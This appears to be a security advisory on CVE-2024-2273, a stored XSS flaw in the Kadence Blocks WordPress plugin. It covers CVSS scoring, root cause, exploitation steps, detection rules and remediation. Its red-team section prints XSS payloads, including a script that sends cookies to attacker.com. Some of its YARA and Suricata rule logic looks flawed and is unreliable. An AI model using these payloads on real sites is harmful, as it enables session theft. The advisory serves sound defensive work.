CVE-2024-2273

Executive Summary

CVE-2024-2273 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks by Kadence Blocks – Page Builder Features plugin for WordPress. The flaw exists in all versions up to and including 3.2.34, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via several parameters. The vulnerability stems from insufficient input sanitization and output escaping, enabling persistent XSS that executes when any user visits the compromised page. With a CVSS score of 6.4 (Medium), this issue poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is a third-party component within the WordPress ecosystem, and its supply chain risk is limited to the plugin’s update mechanism and the trustworthiness of the vendor (Kadence WP). Users should verify plugin integrity via checksums and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access, but contributor accounts are common in multi-author WordPress sites. The stored XSS can affect all site visitors, including administrators, leading to privilege escalation or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the Kadence Blocks plugin’s handling of user-supplied input for several block parameters. The plugin fails to properly sanitize and escape data before storing it in the WordPress database and rendering it on the frontend. Specifically, parameters such as title, subtitle, buttonText, and others within dynamic blocks (e.g., Accordion, Tabs, Advanced Heading) are not filtered for malicious JavaScript.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page using a vulnerable Kadence Block.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable parameter.
3. The plugin stores the payload in the wp_postmeta table without proper sanitization.
4. When any user (including administrators) views the post, the payload executes in their browser context.

Root Cause: The plugin uses wp_kses_post() or similar functions that allow certain HTML tags but fail to strip event handlers or script tags. Additionally, output escaping functions like esc_html() are not applied consistently.

Vulnerable vs. Patched Code

Vulnerable Code (example from Kadence Blocks <= 3.2.34):

// In a block render callback
$title = get_post_meta( $post_id, '_kad_blocks_title', true );
echo '<h2>' . $title . '</h2>'; // No escaping

Patched Code (hypothetical fix):

$title = get_post_meta( $post_id, '_kad_blocks_title', true );
echo '<h2>' . esc_html( $title ) . '</h2>'; // Proper escaping

The patched version would apply esc_html() or wp_kses_post() with a restrictive allowlist to prevent script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Kadence Blocks <= 3.2.34
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post and add a Kadence Block (e.g., Advanced Heading).
3. In the block settings, inject a payload into the title field:

   <img src=x onerror=alert(document.cookie)>
   

4. Publish or save the post.
5. When an administrator views the post, the payload executes, exfiltrating cookies or performing actions on their behalf.

Proof-of-Concept (PoC) Payload:

// Stored XSS payload
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for posts containing suspicious HTML/JavaScript in meta fields.
• Use WAF rules to block common XSS patterns in post content.
• Review contributor activity for unusual block usage.

Defense:

• Disable the Kadence Blocks plugin until a patch is applied.
• Restrict contributor roles to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Indicators:

  • Plugin file: /wp-content/plugins/kadence-blocks/
  • Version string in plugin header: Version: 3.2.34 or lower

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from WordPress admin or frontend.
  • Suspicious POST requests to /wp-admin/admin-ajax.php with block data.

• Log Indicators:

  • WordPress debug log entries showing unescaped output in block rendering.
  • Web server logs with onerror, onload, or script tags in POST data.

Detection Engineering

YARA Rule

rule CVE_2024_2273_Kadence_Blocks_XSS {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks plugin meta fields"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "CVE-2024-2273"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $kadence_meta = /_kad_blocks_/
    condition:
        all of ($payload*) and $kadence_meta
}

Sigma Rule

title: CVE-2024-2273 Kadence Blocks Stored XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Kadence Blocks plugin parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=kadence_blocks_*'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2273 Kadence Blocks Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=kadence_blocks_"; http_client_body;
    pcre:"/(<script|onerror=|onload=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-2273;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Audit all posts created by contributors for malicious content.
3. Reset contributor passwords and review user roles.

Long-Term Fix:

• Apply the vendor patch when available (expected in version 3.2.35 or later).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict Content Security Policy (CSP) headers.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Manually sanitize block output via a custom plugin or theme functions.

Valters IT